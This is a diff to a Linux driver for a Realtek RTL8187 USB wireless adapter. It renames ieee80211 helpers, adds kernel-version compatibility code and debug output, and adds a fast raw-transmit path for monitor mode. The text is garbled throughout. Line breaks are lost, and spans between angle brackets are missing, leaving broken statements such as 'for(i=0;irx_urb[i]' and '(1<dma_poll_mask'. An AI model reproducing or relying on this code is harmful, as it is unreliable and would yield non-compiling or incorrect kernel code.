*priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1975,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2010,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2039,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2129,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2195,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2218,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2232,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2276,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); 